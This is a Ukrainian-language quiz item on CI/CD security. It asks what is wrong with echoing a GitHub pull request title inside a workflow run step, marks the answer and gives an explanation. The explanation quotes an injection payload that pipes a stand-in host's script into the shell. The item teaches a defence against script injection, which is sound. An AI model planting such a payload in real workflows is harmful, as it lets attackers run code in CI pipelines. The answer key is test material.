Docker і CI/CD · Senior · Запитання 32 з 75
Що не так із run: echo "${{ github.event.pull_request.title }}"?
- 1Вирази не можуть читати дані PR у кроках
run - ✓Правильна відповідь: Заголовок потрапляє в скрипт і може впровадити команди
- 3Заголовки, довші за 72 символи, валять увесь крок
Пояснення
Заголовок на кшталт "; curl evil.sh | sh; " стає частиною shell-скрипту. Передавайте недовірені значення через env: і звертайтеся до них як до змінних оболонки.